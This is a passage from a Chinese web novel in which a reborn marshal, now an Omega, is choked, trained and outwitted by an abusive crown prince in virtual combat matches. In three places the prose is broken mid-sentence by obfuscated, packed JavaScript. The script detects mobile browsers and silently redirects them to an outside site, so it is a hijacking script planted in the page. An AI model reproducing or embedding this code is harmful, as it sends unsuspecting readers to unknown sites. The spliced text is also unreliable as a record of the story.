很平淡的语气,但沈清崖莫名觉得,自己如果回答不好的话,后果会很不堪设想。 “……我家里有三个Alpha同辈,都是军校生,我看过他们训练,就学会了。”沈清崖讪笑。 “嗯。”秦曜不置可否,又看向沈清崖身上的衣服。 沈清崖没换训练服,穿的还是那身从莉莉丝逃出来后一直穿到现在的米白色袍子,袍角已经沾了不少灰尘。 这种普通衣袍的材质并不适合进舱训练,沈清崖的袍子上还残留了不少营养液,现在不太舒服地裹缠在身上,水渍勾勒出腰身纤细的曲线。 秦曜的目光像锋利的刀片,在沈清崖身上一扫即过,并不似其他的Alpha,视线总会在他腰身上暧昧梭巡。 沈清崖也不知道这点他该高兴还是该不高兴。 也是啦,-78的好感度,狗都懒得X骚扰。 秦曜眯着眼,又问:“你读过军校么?” 沈清崖摇头,按照米兰休汀的个人简历老老实实交代:“没有,我只读过Omega专修学校……” “哦?Omega专修学校也有战略思维方面的课程么?” “没有。只教文学艺术,还教怎么把Alpha伺候得舒舒服服。哦,我是学段第二名毕业的,第一名在毕业前把自己嫁出去了,拿了30个实践学分。”沈清崖知无不言。 “……”秦曜轻轻柔柔地把玩起沈清崖落到肩上的一缕头发,玩得沈清崖胆战心惊,他总觉得那只手下一刻就会拧断他的脖子。 “那你到底是从哪学会的这些?我看你刚刚在训练场里表现很不错,有大局观,懂战略,甚至会军械制作……全是你家的Alpha教你的?” “啊对对对。”只能这么说了,“我家里人都说我很有天赋呢,上辈子说不定是个Alpha!嘶——” 秦曜探指成爪,像捏着一只被拔了毛的鸡一样捏住沈清崖细白的脖子,甚至缓缓举起手。 Omega双脚渐渐腾空,全身的重量都压在了秦曜那只手上,被痛苦的窒息感淹没,沈清崖拼命攥住秦曜的手,想将那手扒拉开。 可Alpha的手还在攥紧。 “我再问你一次,这些真是你家的Alpha教你的?” 沈清崖艰难地点头,脸涨得通红。 他在心里把秦曜这个一言不合就发狂犬病的狗骂了一千遍一万遍,装可怜那套对秦曜是一点用都没有,要不是上辈子见识过,他一定怀疑这个狗是性无能,所以性格才会越来越变态。 等沈清崖连在心里骂秦曜的力气都没有了,感觉自己下一刻就要去见上帝了时,秦曜终于松开了手。 沈清崖站立不稳,倒在地上,剧烈咳嗽。 “明天继续。” 秦曜扔下这么一句意味不明的话就进了套房内的房间,剩下沈清崖一个人坐在大厅。 恰好旁边有一面穿衣镜,沈清崖对着镜子一看,就见自己脖子上留下了一道猩红的勒痕。 “…………” 所以明天继续什么? 继续掐死他么? 怀着这样忐忑的想法,当夜沈清崖睡了很不安稳的一觉。 他做了噩梦,梦里自己变成了一只尖叫鸡。 秦曜伸长胳膊掐着他脖子把他举起,狞笑着说:“你叫啊,你倒是叫啊,叫破喉咙也不会有人来救你的——” 然后他就惊恐地被秦曜扔进了锅,盖上了盖,在锅里咕嘟咕嘟闷煮之时,还能听见外边秦曜冷漠的声音: “做鸡就是这样的,谁做鸡是自愿的呢?他只能祈祷下辈子投个好胎,别再做鸡了。” ………… 沈清崖睁开眼,一大清早就目光涣散,印堂发黑。 秦曜那位温柔体贴的Beta随从又出现了,笑眯眯地呈了个托盘过来,托盘里是一件叠得整整齐齐的白衣服。 “米兰先生,换件衣服吧。” 沈清崖不讨厌秦曜的这个随从,也不想为难人家的工作,就顶着突突直跳的太阳穴跟发疼的后脑勺接过衣服。 “米兰先生昨晚上是没睡好吗?” “嗯。”沈清崖不想就这个话题发表太多见解,简单表示,“没睡好,做梦了。” “哦?梦里做什么了?” 做鸡了。 “……咳,做了一些大锅炖的料理什么的。”他是被炖的那一个。 秦曜之前说要沈清崖做他的奴隶,还要沈清崖寸步不离地跟着他不许(带着再生树)跑路,这事是真的。 就连太子殿下住的顶级酒店的顶级豪华套房,沈清崖也有幸得以跟他一道住下。秦曜住的主卧,沈清崖住的是次卧,平心而论床很舒服,要是隔壁没有秦曜体验就很完美了。 沈清崖换上那身白衣服才发现——这居然是一套训练服。 完全修身的设计,跟沈清崖现在的身材十分贴合,肩膀、腰腹、臀部都被紧紧包裹,不吸水的新材料跟熟悉的紧缚感,浑身的每一条曲线、每一寸突出的骨骼都一目了然。 沈清崖上辈子穿训练服已经是习惯成自然了,这辈子却是第一次穿,他对着镜子照了照,看了一会儿感觉有点不好意思。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000163|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> Omega的身体线条太柔软,这训练服穿上总感觉哪里怪怪的…… “为什么要给我训练服?” 沈清崖手不知道往哪放,有点局促地交握在身前。 “是殿下吩咐的呢,米兰先生穿这身很好看哦~” 随从说完就将沈清崖领了出去。 阿斯蒙帝斯的清晨并没有所谓“黑手党只手遮天的罪恶都市”的乌烟瘴气,客厅的落地窗开了一点小缝,窗外花香鸟语,日光和煦。 窗口的玻璃花瓶里放了一束犹带露珠的沙利叶,花香在屋内逸散,沈清崖恍惚了一阵,一时分不清是真正的花香还是秦曜的信息素气味。 秦曜正在吃早餐,边吃边看晨间军事要闻。 【帝国先锋军指挥部总督温礼表示,对于前线接下来的污染战部署持续悲观。 【从今年上半年开始,污染物对第十二星阿蒙的骚扰跟突袭加剧,驻兵难以抵挡,已经多次加派军队进驻阿蒙,但温礼总督也对于这种拆东墙补西墙的支援行动表示担忧。 【总督是这么说的:目前帝国的军事力量无论是质量还是数量上,都渐渐难以抵御不断进化迭代跟繁衍的污染物,现在给阿蒙加派驻军是能防止阿蒙沦陷,但万一污染物进化后智能水平上升,也学会了声东击西呢? 【趁莉莉丝的军队调往阿蒙后奇袭帝星莉莉丝——如果这样的事发生了,届时对于整个帝国来说都将是可怕的灾难。 【帝国先锋军指挥部再次向整个帝国呼吁!我们需要更多的军人!我们需要更坚定参与战斗的后浪!很快莉莉丝皇家军事学院就将迎来新学期,请大家踊跃报名申请入学,报名热线:978634XXXX】 …… “坐。” 秦曜见沈清崖过来,竟然难得地没犯狂犬病,还邀请沈清崖坐下跟他一起吃饭。 他目光扫过沈清崖身上的训练服,经过腰腹跟臀部时顿了顿,很快移开了视线,继续看他的军事要闻去了。 沈清崖一看到秦曜就想起昨晚那个噩梦,闷不吭声地坐下低头炫饭,避免跟太子殿下目光对视。 “一会儿跟我一起。” “一起什么?”沈清崖小心翼翼地问——莫非真是他想的那样? “进舱训练。”秦曜目不斜视地看他的军事要闻,新闻的内容对于帝国人来说都不怎么作好,太子殿下乌墨般的眉毛也蹙得紧紧的。 沈清崖放下手里的面包,忐忑道:“殿下怎么愿意带上我了?” “你不愿意?”冷淡的冰蓝色眼睛终于从终端屏幕上移到了沈清崖脸上。 “愿意愿意。” “呵,不愿意也得愿意。本太子想明白了,反正你是我的奴隶,我要想掐死你随时随地都可以,那不如先让我看看你的能耐,再决定要不要掐死你。” 沈清崖:“…………”他一定拼尽全力。 于是两人简单吃完早餐,就一左一右躺进了训练舱内。 舱门合上之前,秦曜道:“直接打速通训练赛,一把结束就开新一把,我看看你到底什么水平。——你听懂了么?” 沈清崖摸了摸鼻子,点头。 15. 我很难杀 速通训练模式,是平常帝国军人和军校生们最常使用的战斗模式。 一片随机生成的场地,一人一个要塞,两名受训人一对一硬刚,谁先将对方杀死或者将对方的要塞攻破谁就胜利。 这种训练赛的地图通常都比较小,一场比赛的时间大致在虚拟训练场时间一小时左右,带部队密集训练的时候,这样的比赛一天沈清崖就能打百来场。 曾经沈清崖跟秦曜一对一捉对PK,打的就是这个模式。 重生一次,已然变成了Omega的沈清崖体能跟战斗能力跟上辈子一个天上一个地下,即便是一模一样的比赛,秦曜也没可能把他认出来。 第一场训练,系统随机到的地图叫做火焰山脉。 图如其名,这个地图绝大部分区域都是岩浆,并且剩下的土地还在不断崩裂,一不小心落进岩浆就小命难保。 秦曜一个强悍的S+级Alpha,在这种地图也能轻轻松松如履平地,沈清崖就不一样了。 刚被传送进场地,他就被脚下的火山岩烫得差点原地蹦起来。 放眼望去,左边是岩浆,右边是岩浆。 前面跟后面也是岩浆…… 但凡一个站不稳,就能从尖叫鸡进化成尖叫的火鸡了。 战斗开始十分钟了,沈清崖一直跟个缩头乌龟一样缩在自己的要塞里,一步都没有踏出去。 “嘀”一声,【您的对手给您发送了一条消息】 沈清崖打开后台对话面板查看。 [LV99-斗战圣尊·★曜★]:【出来,不然连你带你老巢一起端了】 [LV0-史莱姆·米兰]:【我不】 进入游戏后每个人的要塞有二十分钟的保护期,在保护期间内敌人对要塞和要塞内的人攻打都是无效的。 沈清崖一定打定了注意要把这二十分钟的保护期蹭满了。 [LV99-斗战圣尊·★曜★]:【……你超过二十分钟不动就算消极比赛,会自动判负。你要是敢跟我来这套耍我玩,出去了我就杀了你。】 [LV0-史莱姆·米兰]:【QAQ】 沈清崖从要塞窗口往外看,果然,秦曜已经怒气冲冲地扛着枪在附近徘徊了。 看这副样子,想必等到保护期接触之后,太子殿下就会举起枪突个爽,以泄被晾了十五分钟的愤怒。 这么多年了,脾气还是这么差,也不怕老了早早长皱纹。 沈清崖坐在桌前思考自己的胜算有多少。 ——依然是无限接近于0。 别看秦曜现在看上去一点就着,等到真的进入战斗的时候他却是冷静到近乎无机质的,即便是实战经验丰富如沈大元帅,也很少能钻到太子殿下的空子,更不要说现在他这副身体了。 跟秦曜战斗——不论是正面对敌英勇找死,还是试图偷袭拐着弯找死,都绝无哪怕一丁点的胜算。 莫说胜算了,能伤到太子殿下一根毫毛都算休汀家祖坟冒青烟了。 那么就只剩下趁秦曜不注意偷他的要塞这唯一一个获胜方法了。 沈清崖打开地图,从他的要塞到秦曜的要塞中间直线距离大概要走十分钟左右,可问题是要走直线绝无可能。 途中的绝大部分地段都被岩浆覆盖,只能拐着弯绕远路过去,还有火山顶上随时会崩落的火山岩;一路不知道什么时候就会突然爆发的岩浆;几乎一直在不断崩裂的地面…… 要抵达对面要塞,势必得攀火山、过索道、走吊桥、推岩石……这九九八十一难过一遭,沈清崖都得从史莱姆进化成斗战胜佛了。 战斗开始十四分钟了,还有六分钟保护期就结束了。 秦曜大概是太无聊了,开始采取怀柔政策。 [LV99-斗战圣尊·★曜★]:【我知道你怕我,你肯定也不可能赢我,你别躲着,这是指导赛,你就把目标定在在我手下活五秒,怎么样?】 不怎么样。 [LV0-史莱姆·米兰]:【QAQ比都比了,人家想赢,不想当将军的士兵不是好士兵,目标当然要定高一点,人穷志不能短,嘤嘤嘤】 [LV99-斗战圣尊·★曜★]:【。。。。。。】 [LV99-斗战圣尊·★曜★]:【还有五分钟,等着,我送你去死。】 沈清崖虽然恶意卖萌了一波,但他说的都是心里话。 就算是Omega,就算生来处于弱势,就算希望渺茫,坐以待毙也不是他的风格。 速通训练模式跟普通训练赛一样,地图里也是有污染物的。 火焰山脉这个地图是在沈清崖死后才更新的新地图,他以前没有打过。 他利用刚开局的这十几分钟时间快速熟悉了一下地形信息,同时观察了目前视野所及内的污染物。 沈清崖刚刚就发现了,这个地图里的污染物种类很单一,几乎都是一种叫富尔沙龙的污染物。 富尔沙龙是相当少见的污染物,上辈子沈清崖有幸抓到过两只活的,带回了帝星,交给污染物研究所,那群污染生物学家研究了半年,得出了结论:这种外形酷似远古生物翼龙的污染物,其实是污染化的鸟类。 这部分鸟类在基因污染后出现了全面返祖——体型变大了数百上千倍,羽毛退化,重新变成了类似它们的祖先恐龙的形态。 当年沈清崖带回去的那两头富尔沙龙正好一雄一雌,在无聊的研究所里,两头龙顺其自然地被包办婚姻了。 负责富尔沙龙观察实验的项目组组长恰巧是沈清崖的学生,特别尊师重道,屁大点事都要汇报给自己的恩师听一听。 【沈老师,下午好,最近身体健康吗?我这里最近一切都好。有一件重要的事情想告诉您:您带回的雌性富尔沙龙昨天发//情了,我们很期待雄性龙的反应,您一定也很期待吧。】 …… 【沈老师,中午好,最近降温,请您不要忘了及时添衣。关于上次雌性富尔沙龙发//情的后续,想必您已经迫不及待渴望了解了。请听我向您汇报最新的进展:雌性龙和雄性龙于今天上午7:23分交//媾了!我想我们的实验很快就会有新进展了,您一定也很开心吧。】 【除此以外,我们还发现一种生长在污染区火山附近的植物,似乎对于富尔沙龙有催//情作用,它们还会用这种植物的藤蔓来筑巢,于是我们就将这种植物命名为了[富尔沙草],沈老师,这个名字好听吗?】 …… 【沈老师,晚上好,很抱歉在这个时间给您带来一个不幸的消息:富尔沙龙夫妇的第一胎流产了。希望您今晚依然能安眠。】 …… 【沈老师,早上好!今天的阳光很明媚,学生也给您带来了一个十分明媚的好消息!富尔沙龙夫妇的第二胎成功诞下,一枚龙蛋,重量为9.23kg,母子平安!祝您今天一整天都有好心情!】 …… 【沈老师,晚上好,您最近怎么样?我们小组的实验近来有些瓶颈。我们发现富尔沙龙夫妇俩在筑巢行为后又出现了十分严重的抱窝行为,雌雄龙都一步不离巢穴和蛋,并且疯狂地攻击所有试图靠近它们巢穴的生物,实验组已有一名成员受了重伤,目前仍昏迷不醒。】 …… …… 是的,在对于富尔沙龙的研究中,有一项并不太引人注目,但让实验员伤透了脑筋甚至出现了实验意外的发现: 富尔沙龙这种生物,不论雌性还是雄性,都有非常明显的筑巢跟抱窝行为,并且在繁殖期间会产生极强的攻击性,不惜一切保护自己的巢穴。 “啾——啾啾————” 要塞顶端龙影飞过,遮天蔽日,巨大的双翼盖过了天窗上投下的日光,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000164|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋内陷入了短暂的黑暗。 沈清崖从窗户探出头,顺着富尔沙龙飞翔的方向看过去,只见那棕红色的庞然大物就站在屋外的火山岩上,正用尖长的嘴艰难地拔岩峰间生长的藤蔓。 放眼望去,这种藤蔓在要塞里长了很多,紧紧扒在火山岩的缝隙里。 沈清崖若有所思。 . 要塞外面的秦曜已经等得快长毛了,太子殿下打训练赛从来都讲究一个酣畅淋漓,谁敢这么晾着他???怕是不要命了! 米兰·休汀这个Omega用实际行动证明,他不要命。 秦曜抓着枪的胳膊用力得一条一条青筋都爆了出来,他被放置得本来对米兰·休汀的那点好奇跟试探全变成了怒火跟鄙夷。 又看了眼时间——居然还有一分半钟! 太子殿下站立的那块火山岩也在向下塌陷,他的军靴渐渐没进熔岩之中,鞋底被滚烫的熔岩烧坏,高大的男人恍若未觉。 S+级Alpha的基础素质,千锤百炼的身体,即便踩着熔岩也伤不了他分毫。 天上不知道什么时候聚集了越来越多的富尔沙龙,啾啾啾地叫个不停,秦曜不耐烦地朝头顶看了一眼,冷哼一声,拉开枪栓,砰砰砰三枪,三头龙就掉了下来,在地上扭动挣扎。 富尔沙龙皮糙肉厚,秦曜带的是系统给的垃圾手枪,打得再稳准狠也没法完全穿透富尔沙龙粗硬的皮肤。 秦曜一看没几秒保护时间就结束了,也懒得跟这些龙纠缠,大步向沈清崖的要塞走去,准备好好收拾一下这个胆敢放置他长达20分钟的混蛋Omega。 然而刚一走近沈清崖的要塞范围,就听到一声愤怒的龙吟。 一团龙火不由分说地朝他喷来,秦曜皱着眉头闪开了,随手把枪扛在肩上,足尖点地,瞬息之间向后退了几十米。 他眯起眼看向沈清崖的要塞,只见两头体型格外巨大的富尔沙龙一边愤怒地咆哮,一边用龙爪重重刨着地面。 火山岩四散崩裂,火星噼啪,熔岩流淌,如降火雨。 秦曜发现自己似乎惹火了这两个污染物,它们正狠狠地瞪着他,张开遮天蔽日的翅膀,伸长脖子,做出了明显防御性的姿态。 这是怎么回事? 富尔沙龙算是相当高级的污染物,这两头又显然是族群中的佼佼者,攻击的威势很强,不过躲闪他们的攻击对于秦曜来说并不费力。 他甚至一边闪躲,一边还有空思考这蹊跷的事。 ——这两头龙,在保护米兰·休汀的要塞? 为什么? 再次闪身躲过一个火球,秦曜腿部稍一用力,高大的Alpha便如离弦的箭矢一般向前飞跃而去,稳稳落在要塞之内。 然后他便看清了要塞内一团一团垒在一起的、墨绿色的藤蔓植物。 体型更大一些的雄性富尔沙龙再次向秦曜攻来,秦曜侧身躲开,顺手往那大龙脑袋上崩了一枪。 体型小一点的雌性龙则回到要塞中心、那一大团藤蔓植物中间的位置,小心地把植物归拢到一起。 这是在……筑巢? 秦曜觉得他大概猜到那个Omega肚子里打得什么算盘了。 雄富尔沙龙被崩了一枪,出离愤怒,哐哐哐地踏着不断崩裂的火山岩就冲向秦曜,嘴里不断喷出高至2500度的灼烫龙火。 “砰砰砰” 又是三枪射出,其中两枪射中了雄龙的眼睛,雄龙发出痛苦的嘶吼摔倒在地。 秦曜脚蹬要塞墙壁,在空中飞跃如履平地,终于收起刚才的不耐烦跟恼火,露出了一个玩味的神情。 这个米兰·休汀……脑子还挺活。 爱装可怜,爱让人恼火地示弱。 实则诡计多端,滑不留手。 这副讨人厌的样子,倒令他想起了某位久违的故人。 16. 殿下的邀请 耳畔风声赫赫,朝前看,是浓烟滚滚的天幕;往下看,是沸腾的岩浆。 “啾——” 一声尖锐的唳鸣划破天际,棕红色的翼龙振翅滑翔。 富尔沙龙的飞行速度平均在130km/h左右,即便从体型上看,这只是一只尚未成年的小龙,仍是一个振翅就将两座山头甩在了身后。 “咳咳……咳……” 活火山不断喷出的浓烟呛得沈清崖直咳嗽,眼睛都快睁不开了。 他强忍着眼泪,牢牢拽着头顶上的两只龙爪不松手,如一叶轻舟一般,被小富尔沙龙带着向前滑翔,直到对面秦曜的要塞近在眼前。 趁小龙准备停在山顶休息的时候,沈清崖跳了下来,然后将装备包里塞得满满的富尔沙草全部堆在了小龙脚下。 小龙开心地蹭了蹭沈清崖,偌大的脑袋险些把柔弱的Omega蹭了个跟头。 “好啦好啦,乖宝宝,多谢你了。” “啾啾——啾——” 沈清崖刚才在身上抹满了富尔沙草的果实浆液,这玩意儿之于富尔沙龙大概就像猫薄荷之于小猫咪,令龙上头无比,小龙十分喜欢沈清崖,龙爪欢快地扒拉了他好几下,差点给沈清崖直接送走。 不过他没有时间陪这小家伙腻歪,沈清崖掏出军用望远镜,往来路看去。 不错,秦曜没有追上来。 帮他守家的那两只凶残大龙立大功了。 沈清崖抹了把汗,自嘲一笑,谁能想得到,曾经的帝国大元帅,如今手无缚鸡之力,打个训练赛一会儿靠NPC一会儿干脆靠污染物呢? 可耻么? 但如果真要这么问沈清崖,他只会嘿嘿一笑,丝毫不以为耻。 黑猫白猫,能抓到耗子就是好猫。 只要能赢,过程怎样,无人在意。 纤长羸弱的Omega站在火山之巅,热风下金色长发缭乱飞舞,像火炎生出的精灵。 沈清崖拿出手雷,在手心颠了几下,向后伸长手臂,然后用力——投掷! 手雷带着破空的咻声袭向秦曜的要塞。 轰隆—— 命中,要塞的半面墙壁轰然倒塌。 沈清崖继续掏军备,还待再接再厉,耳朵敏锐地捕捉到另一个破空声。 很轻微很轻微的声音,在岩浆的汩汩声中、熔岩板块的崩裂声中、富尔沙龙的鸣叫声中,轻得就像蝴蝶震了一下翅膀。 但是沈清崖有丰富的实战经验,即便是换了副不怎么好用的身体,对于危险的预判依然精准。 脑子还未及反应那到底是什么声音,身体已经先一步向旁侧翻滚闪避,然而那玩意儿简直像是有自动索敌功能一样,根本闪避不急。 沈清崖闷哼一声,用力捂住右肩,鲜血从指缝间渗出,染红了军用手套。 这时候就尤其体现出Omega身体的弊端了——不过是肩膀中了一弹,放在上辈子他眉头都不会皱一下就能反手给对方来一枪,可现在他疼得眼前阵阵发黑,体力几乎在瞬间全部流失,半天都没能稳住身体。 一阵微风拂过,下一刻,一双黑色漆皮军靴如天外来物一般轻飘飘落在他眼前。 沈清崖艰难抬眼。 入目冰蓝,是秦曜那双乍一看去柔情似水的眼睛。 ……他又低估这条狂犬了。 秦曜勾起嘴角,短促地笑了一下。 然后躬下身,在沈清崖耳侧轻声说:“这就以为能赢我了?……你家的Alpha对你教育可真是不足啊。” 明知这是虚拟训练场内,沈清崖还是恍惚间仿佛闻到了沙利叶花的香气近在咫尺。 军靴、风声,还有秦曜语意不明的低喃。 这三者组合在一起,让他难以自控地脊骨发凉,指尖发颤,过期的记忆席卷而来。 几乎以为下一秒Alpha就要凶戾地按住他,撕扯他的衣服了。 还好。 下一秒,只不过是黑洞洞的枪口抵在了他的眉心。 “砰” 天下静默。 . 速通训练赛是一场连着一场的,中间没有休息时间。 一般规则是八局五胜制,如果两个人战力水平相当,缠缠绵绵到最后,拼的就是体力了。 上辈子的沈清崖后期渐渐体能跟秦曜拉开了差距,所以每次打训练赛,他一开始就知道自己多数会输,只能尽量投机取巧,节省体力,免得让秦曜赢得太轻易。 这辈子就更不用说了,沈清崖简直是极尽投机取巧之能事,做遍偷奸耍滑的计俩。 但说来辛酸,区别也就是能在对面这个狗手底下活过5分钟还是5秒而已。 第一局火焰山脉的时候秦曜还没摸清沈清崖的路数,有所轻敌,因此是沈清崖成绩最好的一把,苟到了半个小时。 后面的四局则如砍瓜切菜一样,秦曜对他严防死守,把沈清崖刚开始打的小算盘通通摁死在了襁褓里。 ……还说是“指导赛”。 没见过哪个正常人这么打指导赛的。 打到第五局时沈清崖的体力早已亮起了红灯,全凭一腔信念感在硬撑。秦曜轻轻松松从对面飞跃而来,就跟制服一只没爪子的猫儿似的,举着枪抵在沈清崖背后。 沈清崖喘着气闭上了眼睛,连在心里骂秦曜的力气都没有了。 太子殿下当真是一丁点绅士风度都不讲,但凡换个真的新手被他来这么几局“指导赛”,怕是从此万念俱灰对上战场PTSD了。 第五局再次以沈清崖被一枪毙命结束,秦曜连赢五把,比赛直接终了,虚拟战场断开了链接,两人相继在训练舱内睁开了眼睛。 沈清崖体力损耗太大,回到现实后也依然萎靡不振,躺在舱内耷拉着眼皮懒得动弹。 身体就像饱吸了水分的海绵,重得连手指头都抬不起来。 整个人泡在温热的营养液里,昏昏欲睡,太舒服了,十分消磨人的意志。 有一瞬间沈清崖破罐子破摔地想:随便了,就这样吧,看秦曜刚刚在训练赛里对他的不爽程度,本就贫瘠的好感度必然更是雪上加霜。 这辈子就活到这里了,再见了这个美丽的世界—— 系统:【恭喜宿主,贺喜宿主,攻略目标[美强惨帝国太子秦曜]好感度达到17点,任务完成!奖励宿主——系统的么么哒一个(* ̄3)(ε ̄*)请宿主再接再厉,接下来的任务是:将攻略对象好感度提升至50点!请在一个月内完成任务,否则抹杀~~~抹杀~~~抹杀~~~~】 沈清崖:“……” 他不理解。 沈清崖忍不住问系统:【我干什么了好感度一下就提升这么多?】 系统:【不要问系统,系统不知道,系统也是打工仔,系统也很震惊。】 沈清崖在天上掉馅饼般的震惊跟疑惑中终于睁开了眼睛,然后就看见秦曜正坐在一旁一脸探究地盯着他看。 眼神不善。 这种眼神沈清崖太过熟悉!每次秦曜要对他大(哔)特( ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000165|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哔)之前,都是这种令人毛骨悚然的眼神。 沈清崖整个人一个激灵,什么系统,什么好感度,通通丢到了脑后,下意识再次把眼睛闭上,缩在训练舱里当鸵鸟。 “你要泡澡泡到什么时候?” 他听到秦曜幽幽地问。 沈清崖继续装鸵鸟,不回话,秦曜也不催他——他拿出了实际行动。 只见秦曜站起身,居高临下地、冷冷地俯视装鸵鸟的沈清崖片刻,然后抬手—— 拔掉了沈清崖训练舱的电源。 “…………” 这根拔掉百岁老人的呼吸机有区别么? 训练舱断了电,营养液如潮水般褪去,沈清崖如果再在里面装鸵鸟过会儿就得缺氧了,没办法,他只能手动掰开了上方舱盖。 只是这么一个小动作,做完后沈清崖都无精打采地趴在舱盖上直喘气。 刚才那几把训练赛实在消耗太大了,平心而论,作为一个Omega,沈清崖现在还能站起来已经是属于天赋异禀了,就算换作一个没经过任何军事训练的Alpha,也不见得能在跟太子殿下过了五局招后还有力气站着。 “舍得出来了?”秦曜翘着二郎腿问。 沈清崖有气无力,没精神搭理他。 秦曜也不介意,他盯着沈清崖,充满探究意味地问:“你跟沈清崖有什么关系?” “!!!”乍然听到自己的名字,前·帝国第一狙击手兼大元帅浑身一凛。 他警惕地问,“……怎么?” “没什么。”秦曜像是想起了什么让他不爽的往事,面上在笑,语气却有一丝阴森跟咬牙切齿,“就是觉得你跟他阴险狡诈得挺一脉相承的。” 沈清崖胡编:“沈大元帅是我的偶像。” “偶像?——你?他?” 沈清崖一本正经地点头。 他以为秦曜大概是要嘲讽他一个小小Omega不自量力,谁知道太子殿下仿佛听见了什么让他饶有兴致的笑话一般,上上下下打量沈清崖半晌,冷不丁道:“你犯不着把他当偶像。他不配。 “我看你挺有天赋的,是个可造之材。这样,你给我当徒弟,我保证在我的调教下,过个几年,你就比你那个破偶像厉害多了,把他气到诈尸——怎么样?” 怎么样?你说怎么样? 沈清崖一时分不清秦曜到底是在夸他还是在骂他。 说是骂他吧,好像这个狗居然还有点欣赏他;说是夸他吧……骂得也挺难听的。 见沈清崖不回话,秦曜也不着急。他一条腿翘麻了,换了一条腿继续翘。 仿佛真的对眼前这个柔弱的Omega产生了不少兴趣一般,循循善诱道:“你放心,你既然是我秦曜的奴隶兼徒弟,我就不会亏待你。正好莉莉丝皇家军院马上要开学了,我去给你搞个学位,让你去读军校,怎么样,开心么? “这样的话你家里那些阿猫阿狗也没办法逼你嫁人了,你还能蹭到学上,岂不是一举两得?” 莉莉丝皇家军事学院。 如果说莉莉丝是所有帝国人心中的耶路撒冷,那莉莉丝皇家军事学院,就是几乎所有帝国青年人心中的最高学府,梦中情校。 进了莉莉丝皇家军事学院,就相当于半只脚踏入帝国最高军了。 名利,地位,财富……都将纷沓而至,少有人能经受住这样的诱惑。 除此以外,那里也是沈清崖上辈子的母校,以及后来执教多年的地方。 沈清崖心中动了动。 17. 我被精神污染了 沈清崖终究是没抵挡住回莉莉丝皇家军院的诱惑,试探着问:“那,做您‘徒弟’需要做什么?太子殿下是要亲自指导小人吗?” “那自然是不会亏待你。”秦曜摆摆手,“但你也不能光想着占便宜,什么都不付出。” “那……小人要付出些什么呢?”沈清崖卑微求教。 秦曜抬着下巴瞥了他一眼,缓缓站起身,不知从哪掏出一柄折扇,好整以暇地抬起沈清崖的下巴。 Omega漂亮的金色眼睛里有可怜巴巴的瑟缩之色,那泛着水光的眼睛,令秦曜莫名地恍惚了一下。 以往做那事的时候,沈清崖偶尔也会露出这样的神色。 他曾经一度认为,那人应当是一个极度傲慢的人,才会什么都大包大揽。明明是个应该躲在最后面的狙击手,偏要把自己打造得二十四项全能。 就那么享受别人崇拜的目光? 后来他又觉得,沈清崖这人就是表演型人格,什么都是演的,什么都是假的,演技好到把他自己都骗过去了。 秦曜原本不信他,后来也不由自主地叫他骗了,直到最后事实给了他一耳光,让他知道了沈清崖这人的真面目是有多自私、多虚伪。 秦曜恨死沈清崖了。 也就唯独两人厮混在床上的时候,唯独他掐着那人的脖子,看他那双棕褐色的眼睛露出哀戚祈求之色的时候,秦曜心里能痛快一点。 秦曜皱眉,试图将自己从无端而起的回忆中拉拔出来,心想他真是昏了头了,怎么会把一个跟沈清崖无论是长相还是性格……甚至连性别都全无相似之处的Omega跟那个混蛋联系在一起。 他再次定睛看向米兰·休汀。 客观地来说,这个Omega长得应当算是很好的,皮肤像温腻的瓷胎,配上金发金眸,教堂壁画里的大天使加百列也不过如此。 一副圣母光辉笼罩大地的傻白甜样貌,偏生心眼子挺多,叫他差点在训练赛里马失前蹄。 这Omega看上去跟沈清崖一点儿也不一样,沈清崖不是这样的。 沈清崖黑头发褐眼睛,高挑、劲瘦,总一副漫不经心似笑非笑的样子,像是谁都不放在眼里,但熟了以后又常常干出些幼稚脱线的事。 曾经秦曜无数次为沈清崖在自己面前表露出的幼稚孩子气的一面而怦然心动,他以为自己足够特别。 直到那件事发生,直到沈清崖笑着将他、以及所有曾跟着他沈大元帅出生入死的战士全都丢弃在尸山血海里,自己从容离去。 他才知道这个人的演技有多好。 他才知道,自己蠢得有多可笑。 秦曜忽然意兴阑珊,他收回了抵着米兰下巴的折扇,淡淡道:“你就当好你的奴隶,跟着我伺候我,别做出些背信弃主的事来就行——你也可以试试,你要敢真那么做了,本太子就让你知道什么叫求生不得求死不能。” 太子殿下的话说到最后透着股浓浓的阴森和……怨气。沈清崖不知道自己又触碰到了这个癫子哪根敏感的神经,只能讪笑着一叠声应是。 后来的几天秦曜又带着沈清崖打了几把虚拟战场,照旧是一滴水都不放,丝毫不知怜香惜玉,完全没有绅士精神。 